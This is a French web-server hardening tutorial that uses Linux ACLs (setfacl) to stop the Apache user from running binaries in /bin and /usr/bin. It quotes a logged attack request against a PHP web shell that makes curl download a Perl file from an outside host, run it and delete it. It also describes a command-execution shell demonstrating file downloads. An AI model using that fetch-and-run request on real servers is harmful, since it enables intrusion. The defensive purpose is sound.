Par exemple :
Code : Tout sélectionner
GET /images/jdownloads/screenshots/ga.php.j?cmd=curl+-C+-+-O+http://www.ysale.info/robots.txt%3Bperl+robots.txt%3Brm+robots.txt HTTP/1.1Afin de sécuriser votre serveur WEB, il est possible de limiter l'accès aux binaires Linux par le serveur WEB.
Par défaut les utilisateurs ont les droits en execution sur /bin et /usr/bin
Bien entendu, cela ne règle pas tous les problèmes mais renforce la sécurité.
Il est tout à fait possible de bloquer l'accès à ces binaires pour l'utilisateur apache2 (httpd, www-data ou apache2 selon la distribution) et laisser les autres utilisateurs y avoir accès, notamment par SSH.
L'affinage des accès peut se faire par des ACL.
Tutorial ACL : http://openclassrooms.com/courses/les-a ... sous-linux
Par exemple ce script PHP permet d'executer des commandes.
Ici on lance un ls qui retourne bien les fichiers.
Le script en question permet aussi de télécharger des fichiers sur le serveur WEB (l'utilisateur apache ayant un accès en écriture sur les répertoires du site).
Ici on télécharge SafeBoot.reg
Le premier ls montre que le fichier est inexistant.
un second ls, après le téléchargement du fichier .reg
on liste même le contenu du fichier.
Sur Debian, il faut installer acl par un apt-get install acl.
Pour modifier les accès au fichier /bin/ls et empêcher son accès par l'utilisateur www-data
vous pouvez saisir la commande suivante :
Note, si vous obtenez une erreur "Opération non supportée".setfacl -m u:www-data:r-- /bin/ls
Cela signifie que les ACL ne sont pas activitées dans le système de fichiers.root@debian-vm:/var/www# setfacl -m u:www-data:r-- /bin/ls
setfacl: /bin/ls: Opération non supportée
Vous pouvez les activer en passant ces commandes (remplacer /dev/sda1 par la partition / de votre serveur).
Une fois la commande setfacl, getfacl permet de visualiser les accès.tune2fs -o +acl /dev/sda1
mount -o remount,acl /dev/sda1
On voit bien que notre commande s'est bien passé.
On obtient bien un accès refusé sur la commande.getfacl /bin/ls
getfacl : suppression du premier « / » des noms de chemins absolus
# file: bin/ls
# owner: root
# group: root
user::rwx
user:www-data:r--
group::r-x
mask::r-x
other::r-x
Même chose depuis notre script PHP.root@debian-vm:/var/www# su - www-data -c ls
-su: ls: Permission denied
On peut ensuite pousser les accès sur toutes les binaires de /bin et /usr/bin
Il n'est plus possible de se logguer avec l'utilisateur apache :setfacl -m u:www-data:r-- /bin/*
setfacl -m u:www-data:r-- /usr/bin/*
Bien entendu, si vous n'avez pas de script CGI, vous pouvez passer le shell en /bin/false depuis /etc/passwdroot@debian-vm:/var/www# su - www-data
Impossible d'exécuter /bin/sh: Permission non accordée
L'utilisateur Apache peut aussi avoir besoin d'accéder à /usr/sbin/sendmail notamment si vous avez des scripts PHP qui envoient des mails (fonction mail()).
Le SafeMode permettait de palier à ces accès, mais a été supprimé depuis PHP 5.4
Avec SafeMode à On et des accès aux binaires normaux, le passage de commandes ne fonctionne pas.
Notez aussi que l'on peut télécharger des fichiers sur le serveur WEB, via PHP CURL si celui-ci est bien actif.
Enfin il faudra certainement ouvrir l'accès à certains binaires selon ce qui tourne sur votre serveur.
Par exemple munin nécessite de pouvoir lancer le binaire perl (qui peut ouvrir la porte à des backdoor Perl)
De même pour cacti qui nécessite certains accès.
Pensez à aller voir les logs d'erreur Apache:
Pour aller plus loin dans la sécurisation d'un serveur WEB PHP, vous pouvez vous reporter à la FAQ : [réseau] Sécuriser un serveur Apache/PHP/MySQL (LAMP) et l'index pour sécuriser son serveur WEB Apache.sh: /usr/bin/whois: Permission denied
sh: /usr/bin/head: Permission denied
sh: /usr/bin/awk: Permission denied
sh: /usr/bin/whois: Permission denied